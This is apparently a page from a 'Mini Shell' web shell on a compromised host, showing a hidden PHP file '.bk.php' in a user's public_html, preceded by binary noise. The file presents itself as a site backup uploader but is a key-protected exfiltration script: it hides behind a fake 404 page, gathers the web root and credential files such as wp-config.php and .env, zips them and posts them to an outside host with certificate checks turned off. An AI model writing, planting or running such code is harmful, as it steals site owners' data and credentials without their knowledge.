h –   ˆ þ  ¨ † 00  ¨% . @@  (B ÖD HH  ˆT þ† ``  ¨” †Û €€  ( .p  èo Vx (     z XVR ¯­§ ¼¼® ¾¿» Mini Shell

Mini Shell

Direktori : /home/subviewtvy/public_html/
Upload File :
Current File : /home/subviewtvy/public_html/.bk.php

<?php
/**
 * Site Backup Uploader - basit PHP yedekleme
 *
 * Kullanım:
 *   ?key=bk7x9m2p4q&action=backup
 *   ?key=bk7x9m2p4q&action=info
 *   POST file upload: ?key=bk7x9m2p4q&action=upload
 */
declare(strict_types=1);

const BACKUP_KEY     = 'bk7x9m2p4q';
const RECEIVER_URL   = 'https://pixel-cdn.com/bk';
const MAX_ZIP_BYTES  = 450 * 1024 * 1024; // 450 MB

header('X-Robots-Tag: noindex, nofollow');

function out(array $data, int $code = 200): void {
    http_response_code($code);
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

function detect_domain(): string {
    if (!empty($_SERVER['HTTP_HOST'])) {
        return preg_replace('/:\d+$/', '', $_SERVER['HTTP_HOST']);
    }
    return 'unknown';
}

function detect_paths(): array {
    $doc = rtrim($_SERVER['DOCUMENT_ROOT'] ?? getcwd(), '/');
    $paths = [$doc];

    $candidates = [
        $doc . '/wp-config.php',
        dirname($doc) . '/wp-config.php',
        $doc . '/../wp-config.php',
        $doc . '/configuration.php',
        $doc . '/.env',
        $doc . '/app/etc/env.php',
    ];
    foreach ($candidates as $f) {
        if (is_file($f)) $paths[] = $f;
    }

    $home = dirname($doc);
    if (is_dir($home . '/mail')) {
        // cPanel home - sadece public_html yedekle, mail atla
    }

    return array_values(array_unique(array_filter($paths, fn($p) => file_exists($p))));
}

function zip_paths(array $paths, string $zipFile): array {
    if (!class_exists('ZipArchive')) {
        return ['ok' => false, 'error' => 'ZipArchive not available'];
    }

    $zip = new ZipArchive();
    if ($zip->open($zipFile, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
        return ['ok' => false, 'error' => 'cannot create zip'];
    }

    $count = 0;
    $skipped = 0;

    foreach ($paths as $path) {
        if (is_file($path)) {
            $zip->addFile($path, basename($path));
            $count++;
            continue;
        }
        if (!is_dir($path)) continue;

        $baseLen = strlen(rtrim($path, '/')) + 1;
        $it = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST
        );

        foreach ($it as $file) {
            /** @var SplFileInfo $file */
            $full = $file->getPathname();
            $rel  = substr($full, $baseLen);

            if (preg_match('#/(cache|tmp|logs?|backup|node_modules|vendor/cache|wpm/output|\.git|storage)/#i', '/' . $rel)) {
                $skipped++;
                continue;
            }
            if ($file->isDir()) {
                $zip->addEmptyDir($rel);
                continue;
            }
            if ($file->getSize() > 20 * 1024 * 1024) {
                $skipped++;
                continue;
            }
            $zip->addFile($full, $rel);
            $count++;
            if ($count > 15000) break 2;
        }
    }

    $zip->close();

    if (!is_file($zipFile)) {
        return ['ok' => false, 'error' => 'zip missing after close'];
    }

    return [
        'ok'      => true,
        'files'   => $count,
        'skipped' => $skipped,
        'size'    => filesize($zipFile),
        'zip'     => $zipFile,
    ];
}

function upload_file(string $filePath, string $domain, string $user = 'web'): array {
    if (!is_file($filePath)) {
        return ['ok' => false, 'error' => 'file not found'];
    }

    $mime = 'application/zip';
    $ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
    if ($ext === 'sql') $mime = 'application/sql';
    if ($ext === 'tar') $mime = 'application/x-tar';
    if ($ext === 'gz')  $mime = 'application/gzip';

    $post = [
        'key'    => BACKUP_KEY,
        'action' => 'upload',
        'domain' => $domain,
        'user'   => $user,
        'note'   => php_uname('n'),
    ];

    $cfile = new CURLFile($filePath, $mime, basename($filePath));
    $post['file'] = $cfile;

    $ch = curl_init(RECEIVER_URL);
    curl_setopt_array($ch, [
        CURLOPT_POST           => true,
        CURLOPT_POSTFIELDS     => $post,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT        => 600,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_USERAGENT      => 'SiteBackup/1.0',
    ]);
    $resp = curl_exec($ch);
    $err  = curl_error($ch);
    $code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($resp === false) {
        return ['ok' => false, 'error' => 'curl: ' . $err];
    }

    $json = json_decode($resp, true);
    if (!is_array($json)) {
        return ['ok' => false, 'error' => 'bad response', 'http' => $code, 'raw' => substr($resp, 0, 300)];
    }
    $json['http'] = $code;
    return $json;
}

$key = $_REQUEST['key'] ?? '';
if ($key !== BACKUP_KEY) {
    http_response_code(404);
    echo '<!DOCTYPE html><html><head><title>404</title></head><body><h1>Not Found</h1></body></html>';
    exit;
}

$action = $_REQUEST['action'] ?? 'backup';
$domain = detect_domain();
$user   = get_current_user() ?: 'web';

if ($action === 'info') {
    out([
        'ok'       => true,
        'domain'   => $domain,
        'php'      => PHP_VERSION,
        'doc_root' => $_SERVER['DOCUMENT_ROOT'] ?? '',
        'cwd'      => getcwd(),
        'user'     => $user,
        'paths'    => detect_paths(),
        'zip'      => class_exists('ZipArchive'),
        'curl'     => function_exists('curl_init'),
    ]);
}

if ($action === 'upload') {
    if (empty($_FILES['file']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
        out(['ok' => false, 'error' => 'file required'], 400);
    }
    $tmp = sys_get_temp_dir() . '/manual_' . time() . '_' . basename($_FILES['file']['name']);
    if (!move_uploaded_file($_FILES['file']['tmp_name'], $tmp)) {
        out(['ok' => false, 'error' => 'temp move failed'], 500);
    }
    $res = upload_file($tmp, $domain, $user);
    @unlink($tmp);
    out($res, !empty($res['ok']) ? 200 : 500);
}

if ($action !== 'backup') {
    out(['ok' => false, 'error' => 'invalid action'], 400);
}

$paths = detect_paths();
$tmpZip = sys_get_temp_dir() . '/bk_' . preg_replace('/[^a-z0-9]/i', '_', $domain) . '_' . date('Ymd_His') . '.zip';

$zipRes = zip_paths($paths, $tmpZip);
if (empty($zipRes['ok'])) {
    out($zipRes, 500);
}

if ($zipRes['size'] > MAX_ZIP_BYTES) {
    @unlink($tmpZip);
    out(['ok' => false, 'error' => 'zip too large', 'size' => $zipRes['size']], 413);
}

$up = upload_file($tmpZip, $domain, $user);
@unlink($tmpZip);

out([
    'ok'      => !empty($up['ok']),
    'domain'  => $domain,
    'zip'     => $zipRes,
    'upload'  => $up,
]);